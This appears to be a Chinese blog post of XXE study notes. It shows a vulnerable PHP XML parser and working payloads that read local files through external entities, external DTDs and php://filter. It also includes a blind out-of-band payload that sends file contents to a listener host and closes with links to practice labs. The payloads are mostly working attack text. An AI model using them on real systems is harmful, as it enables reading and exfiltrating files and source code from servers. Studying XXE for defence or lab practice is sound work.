<?php
$xmlfile = file_get_contents('php://input');
$creds=simplexml_load_string($xmlfile);
echo $creds;
?>

1 回显的类型

1.1

POC:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

1.2

与1.1不一样的是,引入的外部的dtd

POC:

**********
post提交的数据:
<?xml version="1.0"?>
<!DOCTYPE creds SYSTEM "http://127.0.0.1/test/evil.dtd">
<creds>&b;</creds>
**********
http://127.0.0.1/test/evil.dtd的数据
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

1.3

********
post:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd">
%goodies;
]>
<creds>&b;</creds>
********
evil.dtd
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

1.4

当里面含有

1.41

如果是php的话,可以用php的filter协议直接读出文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]>
<creds>&goodies;</creds>

1.42

拼接引用的内容,就可以正常输出

**********
post提交的数据:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/softeware/phpstudy/PHPTutorial/WWW/test/index.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/test/evil.dtd">
%dtd; ]> <roottag>&all;</roottag>
*********
evil.dtd的内容
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

2 无回显

2.1

**********
post:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1/test/evil.dtd">
%remote;%int;%send;
]>
**********
evil.dtd的内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test/flag.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:9999?p=%file;'>">
***********
python3 -m http.server 9999

3总结一下自己老出错的地方

最后引用实体的时候,老忘了打分号。&goodies;

没有回显的时候,要注意用filter结合file的绝对路径

filter可以不用绝对路径,但是有时候你是访问你的index.html,php文件不一定是index.php。

靶场练习;

https://github.com/c0ny1/xxe-lab

http://web.jarvisoj.com:9882/

最新文章

  1. 如何使CEF支持Flash
  2. TI CC2541的引脚中断.
  3. 【转】PHP error_reporting() 错误控制函数功能详解
  4. HTML5桌面通知:notification api
  5. 配置Apache服务器 数据库mySQL
  6. HDOJ --- 2196 Computer
  7. VSFTP被动模式
  8. IOS 访问系统粘贴板
  9. Xshell连接服务器密钥改成密码登录
  10. IP子网掩码划分及设置
  11. 扩展 KMP
  12. easyui表格自动换行
  13. Opencv-Python No module named &#39;cv2.cv2&#39;
  14. time模块 转换关系图
  15. u-boot(三)启动文件
  16. mysql 无法链接, 输入密码失败
  17. InnoDB中锁的模式,锁的查看,算法
  18. PL/SQL Developer安装配置
  19. yii gii配置ip限制使用gii
  20. Octocat,看着喜欢就都下载下来了

热门文章

  1. CF336C-Vasily the Bear and Sequence题解--贪心
  2. Oracle 如何查看当前的实例及切换实例
  3. SURF算法源代码OPENSURF分析
  4. shell数组处理
  5. Dart的List比较特殊的几个API
  6. 自动化测试环境搭建(appium+selenium+python)
  7. idea 设置Terminal为git终端
  8. CentOS7 内核优化 修改参数
  9. 域知识深入学习二:建立AD DS域
  10. C语言之volatile